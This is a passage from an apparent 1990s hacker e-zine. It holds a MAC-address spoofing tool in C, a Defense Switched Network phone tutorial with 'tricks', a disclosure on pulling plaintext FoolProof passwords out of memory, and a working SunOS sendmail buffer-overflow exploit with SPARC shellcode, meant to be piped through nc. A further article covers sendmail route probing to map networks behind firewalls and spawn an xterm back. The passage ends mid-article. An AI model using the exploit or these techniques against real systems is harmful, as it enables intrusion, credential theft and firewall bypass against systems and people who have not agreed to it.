{"Frontier Software Development ",'\x00','\x08','\x8C'},
|
|||
|
{"Intel ",'\x00','\xAA','\x00'},
|
|||
|
{"Ungermann-Bass ",'\x00','\xDD','\x00'},
|
|||
|
{"Ungermann-Bass ",'\x00','\xDD','\x01'},
|
|||
|
{"MICOM/Interlan [Unibus, Qbus, Apollo]",'\x02','\x07','\x01'},
|
|||
|
{"Satelcom MegaPac ",'\x02','\x60','\x86'},
|
|||
|
{"3Com [IBM PC, Imagen, Valid, Cisco] ",'\x02','\x60','\x8C'},
|
|||
|
{"CMC [Masscomp, SGI, Prime EXL] ",'\x02','\xCF','\x1F'},
|
|||
|
{"3Com (ex Bridge) ",'\x08','\x00','\x02'},
|
|||
|
{"Symbolics ",'\x08','\x00','\x05'},
|
|||
|
{"Siemens Nixdorf ",'\x08','\x00','\x06'},
|
|||
|
{"Apple ",'\x08','\x00','\x07'},
|
|||
|
{"HP ",'\x08','\x00','\x09'},
|
|||
|
{"Nestar Systems ",'\x08','\x00','\x0A'},
|
|||
|
{"Unisys ",'\x08','\x00','\x0B'},
|
|||
|
{"AT&T ",'\x08','\x00','\x10'},
|
|||
|
{"Tektronics ",'\x08','\x00','\x11'},
|
|||
|
{"Excelan ",'\x08','\x00','\x14'},
|
|||
|
{"NSC ",'\x08','\x00','\x17'},
|
|||
|
{"Data General ",'\x08','\x00','\x1A'},
|
|||
|
{"Data General ",'\x08','\x00','\x1B'},
|
|||
|
{"Apollo ",'\x08','\x00','\x1E'},
|
|||
|
{"Sun ",'\x08','\x00','\x20'},
|
|||
|
{"Norsk Data ",'\x08','\x00','\x26'},
|
|||
|
{"DEC ",'\x08','\x00','\x2B'},
|
|||
|
{"Bull ",'\x08','\x00','\x38'},
|
|||
|
{"Spider ",'\x08','\x00','\x39'},
|
|||
|
{"Sony ",'\x08','\x00','\x46'},
|
|||
|
{"BICC ",'\x08','\x00','\x4E'},
|
|||
|
{"IBM ",'\x08','\x00','\x5A'},
|
|||
|
{"Silicon Graphics ",'\x08','\x00','\x69'},
|
|||
|
{"Excelan ",'\x08','\x00','\x6E'},
|
|||
|
{"Vitalink ",'\x08','\x00','\x7C'},
|
|||
|
{"XIOS ",'\x08','\x00','\x80'},
|
|||
|
{"Imagen ",'\x80','\x00','\x86'},
|
|||
|
{"Xyplex ",'\x80','\x00','\x87'},
|
|||
|
{"Kinetics ",'\x80','\x00','\x89'},
|
|||
|
{"Pyramid ",'\x80','\x00','\x8B'},
|
|||
|
{"Retix ",'\x80','\x00','\x90'},
|
|||
|
{'\x0','\x0','\x0','\x0'}
|
|||
|
};
|
|||
|
|
|||
|
void change_MAC(u_char *,int);
|
|||
|
void list();
|
|||
|
void random_mac(u_char *);
|
|||
|
void help();
|
|||
|
void addr_scan(char *,u_char *);
|
|||
|
|
|||
|
int
|
|||
|
main(int argc, char ** argv)
|
|||
|
{
|
|||
|
char c;
|
|||
|
u_char mac[6] = "\0\0\0\0\0\0";
|
|||
|
int nr = 0,eth_num = 0,nr2 = 0;
|
|||
|
extern char *optarg;
|
|||
|
|
|||
|
if (argc == 1)
|
|||
|
{
|
|||
|
printf("for help: changemac -h\n");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
while ((c = getopt(argc, argv, "-la:rd:")) != EOF)
|
|||
|
{
|
|||
|
switch(c)
|
|||
|
{
|
|||
|
case 'l' :
|
|||
|
list();
|
|||
|
exit(1);
|
|||
|
case 'r' :
|
|||
|
nr++;
|
|||
|
random_mac(mac);
|
|||
|
break;
|
|||
|
case 'a' :
|
|||
|
nr++;
|
|||
|
addr_scan(optarg,mac);
|
|||
|
break;
|
|||
|
case 'd' :
|
|||
|
nr2++;
|
|||
|
eth_num = atoi(optarg);
|
|||
|
break;
|
|||
|
default:
|
|||
|
help();
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
if (nr2 > 1 || nr > 1)
|
|||
|
{
|
|||
|
printf("too many options\n");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
}
|
|||
|
change_MAC(mac,eth_num);
|
|||
|
return (0);
|
|||
|
}
|
|||
|
|
|||
|
void
|
|||
|
change_MAC(u_char *p, int ether)
|
|||
|
{
|
|||
|
struct ifreq devea;
|
|||
|
int s, i;
|
|||
|
|
|||
|
s = socket(AF_INET, SOCK_DGRAM, 0);
|
|||
|
if (s < 0)
|
|||
|
{
|
|||
|
perror("socket");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
sprintf(devea.ifr_name, "eth%d", ether);
|
|||
|
if (ioctl(s, SIOCGIFHWADDR, &devea) < 0)
|
|||
|
{
|
|||
|
perror(devea.ifr_name);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
printf("Current MAC is\t");
|
|||
|
for (i = 0; i < 6; i++)
|
|||
|
{
|
|||
|
printf("%2.2x ", i[devea.ifr_hwaddr.sa_data] & 0xff);
|
|||
|
}
|
|||
|
printf("\n");
|
|||
|
|
|||
|
/* an ANSI C ?? --> just testing your compiler */
|
|||
|
for(i = 0; i < 6; i++) i[devea.ifr_hwaddr.sa_data] = i[p];
|
|||
|
|
|||
|
printf("Changing MAC to\t");
|
|||
|
|
|||
|
/* right here i am showing how interesting is programing in C */
|
|||
|
|
|||
|
printf("%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x\n",
|
|||
|
0[p],
|
|||
|
1[p],
|
|||
|
2[p],
|
|||
|
3[p],
|
|||
|
4[p],
|
|||
|
5[p]);
|
|||
|
|
|||
|
|
|||
|
if (ioctl(s,SIOCSIFHWADDR,&devea) < 0)
|
|||
|
{
|
|||
|
printf("Unable to change MAC -- Is eth%d device is up?\n", ether);
|
|||
|
perror(devea.ifr_name);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
printf("MAC changed\n");
|
|||
|
|
|||
|
/* just to be sure ... */
|
|||
|
|
|||
|
if (ioctl(s, SIOCGIFHWADDR, &devea) < 0)
|
|||
|
{
|
|||
|
perror(devea.ifr_name);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
printf("Current MAC is: ");
|
|||
|
|
|||
|
for (i = 0; i < 6; i++) printf("%X ", i[devea.ifr_hwaddr.sa_data] & 0xff);
|
|||
|
printf("\n");
|
|||
|
|
|||
|
close(s);
|
|||
|
}
|
|||
|
|
|||
|
void
|
|||
|
list()
|
|||
|
{
|
|||
|
int i = 0;
|
|||
|
struct LIST *ptr;
|
|||
|
|
|||
|
printf("\nNumber\t MAC addr \t vendor\n");
|
|||
|
while (0[i[vendors].name])
|
|||
|
{
|
|||
|
ptr = vendors + i;
|
|||
|
printf("%d\t=> %2.2x:%2.2x:%2.2x \t%s \n",
|
|||
|
i++,
|
|||
|
0[ptr->mac],
|
|||
|
1[ptr->mac],
|
|||
|
2[ptr->mac],
|
|||
|
ptr->name);
|
|||
|
if (!(i % 15))
|
|||
|
{
|
|||
|
printf("\n press enter to continue\n");
|
|||
|
getchar();
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
void
|
|||
|
random_mac(u_char *p)
|
|||
|
{
|
|||
|
srandom(getpid());
|
|||
|
|
|||
|
0[p] = random() % 256;
|
|||
|
1[p] = random() % 256;
|
|||
|
2[p] = random() % 256;
|
|||
|
3[p] = random() % 256;
|
|||
|
4[p] = random() % 256;
|
|||
|
5[p] = random() % 256;
|
|||
|
}
|
|||
|
|
|||
|
void
|
|||
|
addr_scan(char *arg, u_char *mac)
|
|||
|
{
|
|||
|
int i;
|
|||
|
|
|||
|
if (!(2[arg] == ':' &&
|
|||
|
5[arg] == ':' &&
|
|||
|
8[arg] == ':' &&
|
|||
|
11[arg] == ':' &&
|
|||
|
14[arg] == ':' &&
|
|||
|
strlen(arg) == 17 ))
|
|||
|
{
|
|||
|
printf("address is not in spacified format\n");
|
|||
|
exit(0);
|
|||
|
}
|
|||
|
for(i = 0; i < 6; i++) i[mac] = (char)(strtoul(arg + i*3, 0, 16) & 0xff);
|
|||
|
}
|
|||
|
|
|||
|
void
|
|||
|
help()
|
|||
|
{
|
|||
|
printf(" changemac - soft change MAC address of your ethernet card \n");
|
|||
|
printf(" changemac -l | [-d number ] [ -r | -a address ] \n");
|
|||
|
printf(" before you try to use it just turn ethernet card off, ifconfig ethX down\n");
|
|||
|
printf(" -d number number of ethernet device \n");
|
|||
|
printf(" -h this help \n");
|
|||
|
printf(" -a address address format is xx:xx:xx:xx:xx:xx \n");
|
|||
|
printf(" -r set random generated address \n");
|
|||
|
printf(" -l list first three MAC bytes of known ethernet vendors\n");
|
|||
|
printf(" example: changemac -d 1 -a 12:34:56:78:9a:bc\n");
|
|||
|
}
|
|||
|
|
|||
|
/* EOF */
|
|||
|
<-->
|
|||
|
|
|||
|
0x4>-------------------------------------------------------------------------
|
|||
|
|
|||
|
The Defense Switched Network
|
|||
|
By: DataStorm <havok@tfs.net>
|
|||
|
|
|||
|
This is an extremely shortened tutorial on the DSN. More information
|
|||
|
is available through the DoD themselves and various places on the Internet. If
|
|||
|
you have any comments or suggestions, feel free to e-mail me.
|
|||
|
|
|||
|
|
|||
|
***THE BASICS OF THE DSN***
|
|||
|
|
|||
|
|
|||
|
Despite popular belief, the AUTOVON is gone, and a new DCS
|
|||
|
communication standard is in place, the DSN, or Defense Switched Network.
|
|||
|
|
|||
|
The DSN is used for the communication of data and voice between various
|
|||
|
DoD installations in six world theaters: Canada, the Caribbean, the
|
|||
|
Continental United States (CONUS), Europe, the Pacific and Alaska, and
|
|||
|
Southwest Asia. The DSN is used for everything from video-teleconferencing,
|
|||
|
secure and insecure data and voice, and any other form of communication that
|
|||
|
can be transmitted over wiring. It is made up of the old AUTOVON system, the
|
|||
|
European telephone system, the Japanese and Korean telephone upgrades, the
|
|||
|
Oahu system, the DCTN, the DRSN, the Video Teleconferencing Network, and more.
|
|||
|
|
|||
|
This makes the DSN incredibly large, which in turn makes it very useful.
|
|||
|
(See the section TRICKS in this article for more information.)
|
|||
|
|
|||
|
The DSN is extremely isolated. It is designed to function even when
|
|||
|
outside communication lines have been destroyed and is not dependent on any
|
|||
|
outside equipment. It uses its own switching equipment, lines, phones, and
|
|||
|
other components. It has very little link to the outside world, since in a
|
|||
|
bombing/war, civilian telephone may be destroyed. This aspect, of course,
|
|||
|
also means that all regulation of the DSN is done by the government itself.
|
|||
|
When you enter the DSN network, you are messing with the big boys.
|
|||
|
|
|||
|
To place a call to someone in the DSN, you must first dial the DSN access
|
|||
|
number, which lets you into the network itself. From there you can dial any
|
|||
|
number within the DSN, as long as it is not restricted from your calling area
|
|||
|
or hone. (Numbers both inside and outside the DSN can be restricted from calling
|
|||
|
certain numbers).
|
|||
|
|
|||
|
If you are part of the DSN, you may periodically get a call from an
|
|||
|
operator, wanting to connect you with another person in or out of the network.
|
|||
|
To accept, you must tell her your name and local base telephone extension,
|
|||
|
your precedence, and any other information the operator feels she must have
|
|||
|
from you at that time. (I'm not sure of the operators abilities or
|
|||
|
technologies. They may have ANI in all or some areas.)
|
|||
|
|
|||
|
The DSN uses signaling techniques similar to Bell, with a few differences.
|
|||
|
The dial tone is the same on both networks; the network is open and ready.
|
|||
|
When you call or are being called, a DSN phone will ring just like a Bell
|
|||
|
phone, with one difference. If the phone rings at a fairly normal rate, the
|
|||
|
call is of average precedence, or "Routine." If the ringing is fast, it is of
|
|||
|
higher precedence and importance. A busy signal indicates that the line is
|
|||
|
either busy, or DSN equipment is busy. Occasionally you may hear a tone
|
|||
|
called the "preempt" tone, which indicates that your call was booted off
|
|||
|
because one of higher precedence needed the line you were connected with. If
|
|||
|
you pick up the phone and hear an odd fluctuating tone, this means that a
|
|||
|
conference call is being conducted and you are to be included.
|
|||
|
|
|||
|
As on many other large networks, the DSN uses different user classes to
|
|||
|
distinguish who is better than who, who gets precedence and more calls and who
|
|||
|
does not. The most powerful user class is the "Special C2" user. This
|
|||
|
fortunate military employee (or hacker?) has virtually unrestricted access to
|
|||
|
the system. The Special C2 user identifies himself as that through a
|
|||
|
validation process.
|
|||
|
|
|||
|
The next class of user is the regular "C2" user. To qualify, you must
|
|||
|
have the requirements for C2 communications, but do not have to meet the
|
|||
|
requirements for the Special C2 user advantages. (These are users who
|
|||
|
coordinate military operations, forces, and important orders.) The last type
|
|||
|
of user is insensitively called the "Other User." This user has no need for
|
|||
|
Specail C2 or C2 communications, so he is not given them. A good comparison
|
|||
|
would be "root" for Special C2, "bin" for C2, and "guest" for other.
|
|||
|
|
|||
|
The network is fairly secure and technologically advanced. Secure voice
|
|||
|
is encrypted with the STU-III. This is the third generation in a line of
|
|||
|
devices used to make encrypted voice, which is NOT considered data over the
|
|||
|
DSN. Networking through the DSN is done with regular IP version 4, unless
|
|||
|
classified, in which case Secret IP Routing Network(SIPRNET) protocol is
|
|||
|
used. Teleconferencing can be set up by the installation operator, and video
|
|||
|
teleconferencing is a common occurrence.
|
|||
|
|
|||
|
The DSN is better than the old AUTOVON system in speed and quality, which
|
|||
|
allows it to take more advantage of these technologies. I'm sure that as we
|
|||
|
progress into faster transmission rates and higher technology, we will begin
|
|||
|
to see the DSN use more and more of what we see the good guys using on
|
|||
|
television.
|
|||
|
|
|||
|
Precedence on the DSN fits the standard NCS requirements, so I will not
|
|||
|
talk about it in great detail in this article. All I think I have to clear up
|
|||
|
is that DSN phones do NOT use A, B, C, and D buttons as the phones in the
|
|||
|
AUTOVON did for precedence. Precedence is done completely with standard DTMF
|
|||
|
for efficiency.
|
|||
|
|
|||
|
A DSN telephone directory is not distributed to the outside, mainly
|
|||
|
because of the cost and lack of interest. However, I have listed the NPA's
|
|||
|
for the different theaters. Notice that the DSN only covers major ally areas.
|
|||
|
You won't be able to connect to Russia with this system, sorry. Keep in mind
|
|||
|
that each base has their own operator, who for the intra-DSN circuit, is
|
|||
|
reachable by dialing "0." Here is a word of advice: there ARE people who sit
|
|||
|
around all day and monitor these lines. Further, you can be assured these are
|
|||
|
specialized teams that work special projects at the echelons above reality.
|
|||
|
This means that if you do something dumb on the DSN from a location they can
|
|||
|
trace back to you, you WILL be imprisoned.
|
|||
|
|
|||
|
AREA DSN NPA
|
|||
|
|
|||
|
Canada 312
|
|||
|
CONUS 312
|
|||
|
Caribbean 313
|
|||
|
Europe 314
|
|||
|
Pacific/Alaska 315/317
|
|||
|
S.W. Asia 318
|
|||
|
|
|||
|
The format for a DSN number is NPA-XXX-YYYY, where XXX is the installation
|
|||
|
prefix (each installation has at least one of their own) and YYYY is the
|
|||
|
unique number assigned to each internal pair, which eventually leads to a
|
|||
|
phone. I'm not even going to bother with a list of numbers; there are just
|
|||
|
too many. Check http://www.tfs.net/~havok (my home page) for the official DSN
|
|||
|
directory and more information.
|
|||
|
|
|||
|
DSN physical equipment is maintained and operated by a team of military
|
|||
|
specialists designed specifically for this task, (you won't see many Bell
|
|||
|
trucks around DSN areas).
|
|||
|
|
|||
|
Through even my deepest research, I was unable to find any technical
|
|||
|
specifications on the hardware of the actual switch, although I suppose they
|
|||
|
run a commercial brand such as ESS 5. My resources were obscure in this area,
|
|||
|
to say the least.
|
|||
|
|
|||
|
|
|||
|
***TRICKS***
|
|||
|
|
|||
|
Just like any other system in existence, the DSN has security holes and
|
|||
|
toys we all can have fun with. Here are a few. (If you find any more, drop me
|
|||
|
an e-mail.)
|
|||
|
|
|||
|
* Operators are located on different pairs in each base; one can never
|
|||
|
tell before dialing exactly who is behind the other line. My best luck has
|
|||
|
been with XXX-0110 and XXX-0000.
|
|||
|
|
|||
|
* To get their number in the DSN directory, DoD installations write to:
|
|||
|
|
|||
|
HQ DISA, Code D322
|
|||
|
11440 Isaac Newton Square
|
|||
|
Reston, VA 20190-5006
|
|||
|
|
|||
|
* Another interesting address: It seems that
|
|||
|
|
|||
|
GTE Government Systems Corporation
|
|||
|
Information Systems Division
|
|||
|
15000 Conference Center Drive
|
|||
|
Chantilly, VA 22021-3808
|
|||
|
|
|||
|
has quite a bit of involvement with the DSN and its documentation projects.
|
|||
|
|
|||
|
|
|||
|
***IN CONCLUSION***
|
|||
|
|
|||
|
As the DSN grows, so does my fascination with the system. Watch for more
|
|||
|
articles about it. I would like to say a BIG thanks to someone who wishes to
|
|||
|
remain unknown, a special english teacher, and the DoD for making their
|
|||
|
information easy to get a hold of.
|
|||
|
|
|||
|
|
|||
|
0x5>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Howdy,
|
|||
|
|
|||
|
I have found a weakness in the password implementations of
|
|||
|
FoolProof. FoolProof is a software package used to secure workstations
|
|||
|
and LAN client machines from DoS and other lame-ass attacks by protecting
|
|||
|
system files (autoexec.bat, config.sys, system registry) and blocking
|
|||
|
access to specified commands and control panels. FoolProof was written
|
|||
|
by Smart Stuff software originally for the Macintosh but recently
|
|||
|
released for win3.x and win95. All my information pertains directly to
|
|||
|
versions 3.0 and 3.3 of both the 3.x and 95 versions but should be good
|
|||
|
for all early versions if they exist.
|
|||
|
|
|||
|
I have spent some time playing with it. It is capable of
|
|||
|
modifying the boot sequence on win3.x machines to block the use of hot
|
|||
|
keys and prevent users from breaking out of autoexec. It also modifies
|
|||
|
the behavior of command.com so that commands can be verified by a
|
|||
|
database and anything deemed unnecessary or potentially malicious can be
|
|||
|
blocked (fdisk, format, dosshell?, dir, erase, del. defrag, chkdsk,
|
|||
|
defrag, undelete, debug, etc.). Its windows clients provide for a way to
|
|||
|
log into/out of FoolProof for privileged access by using a password or
|
|||
|
hot key assignment. The newer installation of 95 machines have a
|
|||
|
centralized configuration database that lives on our NetWare server.
|
|||
|
|
|||
|
My first success with breaking FoolProof passwords came by using
|
|||
|
a hex editor to scan the windows swap file for anything that might be of
|
|||
|
interested. In the swap file I found the password in plain text. I was
|
|||
|
surprised but thought that it was something that would be simply
|
|||
|
unavoidable and unpredictable. Later though I used a memory editor on
|
|||
|
the machine (95 loves it when I do that) and found that FoolProof stores
|
|||
|
a copy of the user password IN PLAIN TEXT inside its TSR's memory space.
|
|||
|
|
|||
|
To find a FoolProof password, simply search through conventional
|
|||
|
memory for the string "FOOLPROO" (I don't know what they did with that
|
|||
|
last "F") and the next 128 bytes or so should contain two plaintext
|
|||
|
passwords followed by the hot-key assignment. For some reason FoolProof
|
|||
|
keeps two passwords on the machine, the present one and a 'legacy'
|
|||
|
password (the one you used before you _thought_ it was changed). There
|
|||
|
exist a few memory viewers/editors but it isn't much effort to write
|
|||
|
something.
|
|||
|
|
|||
|
Getting to a point where you can execute something can be
|
|||
|
difficult but isn't impossible. I found that it is more difficult to do
|
|||
|
this on the win3.x machines because FoolProof isn't compromised by the
|
|||
|
operating system it sits on top of; basically getting a dos prompt is up
|
|||
|
to you (try file manager if you can). 95 is easier because it is very
|
|||
|
simple to convince 95 that it should start up into Safe-Mode and then
|
|||
|
creating a shortcut in the StartUp group to your editor and then
|
|||
|
rebooting the machine (FoolProof doesn't get a chance to load in safe
|
|||
|
mode).
|
|||
|
|
|||
|
I tried to talk to someone at SmartStuff but they don't seem to
|
|||
|
care what trouble their simple minded users might get into. They told me
|
|||
|
I must be wrong because they use 128 bit encryption on the disk.
|
|||
|
Apparently they don't even know how their own software works because the
|
|||
|
utility they provide to recover lost passwords requires some 32+
|
|||
|
character master password that is hardwired into each installation.
|
|||
|
|
|||
|
JohnWayne <john__wayne@juno.com>
|
|||
|
|
|||
|
0x6>-------------------------------------------------------------------------
|
|||
|
[ old skool dept. ]
|
|||
|
|
|||
|
<++> EX/smrex.c
|
|||
|
/*
|
|||
|
* Overflow for Sunos 4.1 sendmail - execs /usr/etc/rpc.rexd.
|
|||
|
* If you don't know what to do from there, kill yourself.
|
|||
|
* Remote stack pointer is guessed, the offset from it to the code is 188.
|
|||
|
*
|
|||
|
* Use: smrex buffersize padding |nc hostname 25
|
|||
|
*
|
|||
|
* where `padding` is a small integer, 1 works on my sparc 1+
|
|||
|
*
|
|||
|
* I use smrex 84 1, play with the numbers and see what happens. The core
|
|||
|
* gets dumped in /var/spool/mqueue if you fuck up, fire up adb, hit $r and
|
|||
|
* see where your offsets went wrong :)
|
|||
|
*
|
|||
|
* I don't *think* this is the 8lgm syslog() overflow - see how many versions
|
|||
|
* of sendmail this has carried over into and let me know. Or don't, I
|
|||
|
* wouldn't :)
|
|||
|
*
|
|||
|
* P.S. I'm *sure* there are cleverer ways of doing this overflow. So sue
|
|||
|
* me, I'm new to this overflow business..in my day everyone ran YPSERV and
|
|||
|
* things were far simpler... :)
|
|||
|
*
|
|||
|
* The Army of the Twelve Monkeys in '98 - still free, still kicking arse.
|
|||
|
*/
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
|
|||
|
int main(int argc, char **argv)
|
|||
|
{
|
|||
|
long unsigned int large_string[10000];
|
|||
|
int i, prelude;
|
|||
|
unsigned long offset;
|
|||
|
char padding[50];
|
|||
|
|
|||
|
offset = 188; /* Magic numbers */
|
|||
|
prelude = atoi(argv[1]);
|
|||
|
|
|||
|
if (argc < 2)
|
|||
|
{
|
|||
|
printf("Usage: %s bufsize <alignment offset> | nc target 25\n",
|
|||
|
argv[0]);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
for (i = 6; i < (6 + atoi(argv[2])); i++)
|
|||
|
{
|
|||
|
strcat(padding, "A");
|
|||
|
}
|
|||
|
for(i = 0; i < prelude; i++)
|
|||
|
{
|
|||
|
large_string[i] = 0xfffffff0; /* Illegal instruction */
|
|||
|
}
|
|||
|
|
|||
|
large_string[prelude] = 0xf7ffef50; /* Arbitrary overwrite of %fp */
|
|||
|
|
|||
|
large_string[prelude + 1] = 0xf7fff00c; /* Works for me; address of code */
|
|||
|
|
|||
|
for( i = (prelude + 2); i < (prelude + 64); i++)
|
|||
|
{
|
|||
|
large_string[i] = 0xa61cc013; /* Lots of sparc NOP's */
|
|||
|
}
|
|||
|
|
|||
|
/* Now the sparc execve /usr/etc/rpc.rexd code.. */
|
|||
|
|
|||
|
large_string[prelude + 64] = 0x250bcbc8;
|
|||
|
large_string[prelude + 65] = 0xa414af75;
|
|||
|
large_string[prelude + 66] = 0x271cdc88;
|
|||
|
large_string[prelude + 67] = 0xa614ef65;
|
|||
|
large_string[prelude + 68] = 0x291d18c8;
|
|||
|
large_string[prelude + 69] = 0xa8152f72;
|
|||
|
large_string[prelude + 70] = 0x2b1c18c8;
|
|||
|
large_string[prelude + 71] = 0xaa156e72;
|
|||
|
large_string[prelude + 72] = 0x2d195e19;
|
|||
|
large_string[prelude + 73] = 0x900b800e;
|
|||
|
large_string[prelude + 74] = 0x9203a014;
|
|||
|
large_string[prelude + 75] = 0x941ac00b;
|
|||
|
large_string[prelude + 76] = 0x9c03a104;
|
|||
|
large_string[prelude + 77] = 0xe43bbefc;
|
|||
|
large_string[prelude + 78] = 0xe83bbf04;
|
|||
|
large_string[prelude + 79] = 0xec23bf0c;
|
|||
|
large_string[prelude + 80] = 0xdc23bf10;
|
|||
|
large_string[prelude + 81] = 0xc023bf14;
|
|||
|
large_string[prelude + 82] = 0x8210203b;
|
|||
|
large_string[prelude + 83] = 0xaa103fff;
|
|||
|
large_string[prelude + 84] = 0x91d56001;
|
|||
|
large_string[prelude + 85] = 0xa61cc013;
|
|||
|
large_string[prelude + 86] = 0xa61cc013;
|
|||
|
large_string[prelude + 87] = 0xa61cc013;
|
|||
|
large_string[prelude + 88] = 0;
|
|||
|
|
|||
|
/* And finally, the overflow..simple, huh? :) */
|
|||
|
printf("helo\n");
|
|||
|
printf("mail from: %s%s\n", padding, large_string);
|
|||
|
}
|
|||
|
<-->
|
|||
|
|
|||
|
0x7>-------------------------------------------------------------------------
|
|||
|
Practical Sendmail Routing
|
|||
|
|
|||
|
Intro:
|
|||
|
|
|||
|
This article will be short and sweet as the concept and methodology are quite
|
|||
|
simple.
|
|||
|
|
|||
|
UUCP Style routing has been around longer than most newbie hackers, yet it is
|
|||
|
a foreign concept to them. In past years, Phrack has seen at least one
|
|||
|
article on using this method to route a piece of mail around the world and
|
|||
|
back to the base host. That article in Phrack 41 (Network Miscellany) by the
|
|||
|
Racketeer gave us a good outline as how to implement routed mail. I will
|
|||
|
recap that method and show a practical use for it. If you have any questions
|
|||
|
on the method for building the mail headers, read a book on UUCP or something.
|
|||
|
|
|||
|
|
|||
|
How to:
|
|||
|
|
|||
|
In short, you want to create a custom route for a piece of email to follow.
|
|||
|
This single piece of mail will follow your desired path and go through
|
|||
|
machines of your choice. Even with mail relaying turned off, MTAs will still
|
|||
|
past this mail as it looks at the mail and delivers only one hope at a time.
|
|||
|
The customized headers basically tell sendmail that it should only be
|
|||
|
concerned about the next target in the path, and to deliver. In our example
|
|||
|
below, we will have nine systems to be concerned about. Your base host, seven
|
|||
|
systems to bounce through, and the user on the final destination machine.
|
|||
|
|
|||
|
host1 = origin of mail. base host to send from.
|
|||
|
host2 = second...
|
|||
|
host3 = third... (etc)
|
|||
|
host4
|
|||
|
host5
|
|||
|
host6
|
|||
|
host7
|
|||
|
host8 = final hop in our chain (i.e.: second to last)
|
|||
|
user @ dest = final resting place for mail
|
|||
|
|
|||
|
Most people will wonder "why route mail, sendmail will deliver directly".
|
|||
|
Consider the first step in doing a penetration of a foreign network: Recon. A
|
|||
|
would-be attacker needs as much information about a remote host as possible.
|
|||
|
Have you ever sent mail to a remote system with the intention of bouncing it?
|
|||
|
If not, try it. You will find it a quick and easy way of finding out what
|
|||
|
version of what MTA the host is running.
|
|||
|
|
|||
|
Knowing that the message will bounce with that information, think larger. Send
|
|||
|
mail to multiple hosts on a subnet and it will return the version information
|
|||
|
for each machine it bounces through. Think larger. Firewalls are often set
|
|||
|
up to allow mail to go in and out without a problem. So route your mail past
|
|||
|
the firewall, bounce it among several internal systems, then route the mail
|
|||
|
right back out the front door. You are left with a single piece of mail
|
|||
|
containing information on each system it bounced through. Right off, you can
|
|||
|
start to assess if the machines are running Unix or not among other things.
|
|||
|
|
|||
|
So, with the example above, your mail 'to' will look like this:
|
|||
|
|
|||
|
host3!host4!host5!host6!host7!host8!dest!user@host2
|
|||
|
|
|||
|
I know. Very weird as far as the order and placement of each. If you don't
|
|||
|
think it looks right, go reference it.
|
|||
|
|
|||
|
Goal:
|
|||
|
|
|||
|
The desired outcome of this mail is to return with as much information about
|
|||
|
the remote network as possible. There are a few things to be wary of however.
|
|||
|
If the mail hits a system that doesn't know how to handle it, you may never
|
|||
|
see it again. Routing the mail through a hundred hosts behind a firewall is
|
|||
|
risky in that it may take a while to go through, and if it encounters problems
|
|||
|
you may not get word back to know where it messed up. What I recommend is
|
|||
|
sending one piece of mail per host on the subnet. This can be scripted out
|
|||
|
fairly easy, so let this be a lesson in scripting as well.
|
|||
|
|
|||
|
Theoretical Route 1:
|
|||
|
|
|||
|
you --.
|
|||
|
firewall --.
|
|||
|
internal host1 --.
|
|||
|
|
|
|||
|
internal host2 --'
|
|||
|
firewall --'
|
|||
|
you --'
|
|||
|
|
|||
|
|
|||
|
Theoretical Route 2:
|
|||
|
|
|||
|
If the internal network is on a different IP scheme than the external machines,
|
|||
|
(ie: address translation) then your mail will fail at the first hop by the
|
|||
|
above means. So, we can try an alternative of passing mail to both sides of
|
|||
|
the firewall in order. Of course, this would rely on knowledge of internal
|
|||
|
network numbering. If you are wondering how to get this, two ways come to
|
|||
|
mind. If you are one of those wacky 'white hat' ethical hackers, this
|
|||
|
information is often given during a controlled penetration. If you are a
|
|||
|
malicious 'black hat' evil hacker, then trashing or Social Engineering might
|
|||
|
be an option.
|
|||
|
|
|||
|
|
|||
|
you --.
|
|||
|
firewall (external interface) --.
|
|||
|
firewall (internal interface) --.
|
|||
|
|
|
|||
|
.-- internal host1 --'
|
|||
|
|
|
|||
|
`-- internal host2 --.
|
|||
|
|
|
|||
|
firewall (internal interface) --'
|
|||
|
firewall (external interface) --'
|
|||
|
you --'
|
|||
|
|
|||
|
|
|||
|
Taking it to the next level:
|
|||
|
|
|||
|
So if you find this works, what else can you do? Have a remote sendmail attack
|
|||
|
lying around? Can you run a command on a remote machine? Know what an xterm
|
|||
|
is? Firewalls often allow a wide variety of traffic to go outbound. So route
|
|||
|
a remote sendmail based attack to the internal host of your choice, spawn an
|
|||
|
xterm to your terminal and voila. You just bypassed a firewall!
|
|||
|
|
|||
|
|
|||
|
Conclusion:
|
|||
|
|
|||
|
Yup. That is it. Short and sweet. No need to put excess words in this
|
|||
|
article as you are probably late on your hourly check of rootshell.com looking
|
|||
|
for the latest scripts. Expand your minds.
|
|||
|
|
|||
|
Hi:
|
|||
|
|
|||
|
mea_culpa mea_culpa@sekurity.org
|
|||
|
|
|||
|
* "taking it to the next level" is a bastardized trademark of MC.
|
|||
|
* 'wacky white hat ethical hacker' is probably a trademark of IBM.
|
|||
|
* 'malicious black hat evil hacker' is a trademark of the ICSA.
|
|||
|
|
|||
|
0x8>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Resource Hacking and Windows NT/95
|
|||
|
|
|||
|
by Lord Byron
|
|||
|
|
|||
|
With the release of Windows NT service pack 3 the infamous Winnuke denial
|
|||
|
of service attacks are rendered useless. At least that is what they lead you
|
|||
|
to believe. This is not the case. To understand why we need to delve into a
|
|||
|
little background on the internals of Windows; more specifcally, the way that
|
|||
|
Windows allocates memory. This is the undying problem. To better understand
|
|||
|
the problems with Windows memory allocation you have to go very deep within the
|
|||
|
operating system, to what is commonly called the "thunking layer". This layer
|
|||
|
is what allows Windows to call both 16 and 32-bit functions on the same
|
|||
|
function stack. If you make a TCP/IP-type function call or (if you are a
|
|||
|
database person) an ODBC function call you are calling a pseudo 32-bit
|
|||
|
function. Yes, both of these direct drivers are 32-bit drivers but they rely
|
|||
|
upon 16-bit code to finish their process. Once you enter one of these drivers
|
|||
|
all the data is passed into that driver. Windows also requires all drivers to
|
|||
|
run at the level 0 level within the Windows kernel. These drivers then pass
|
|||
|
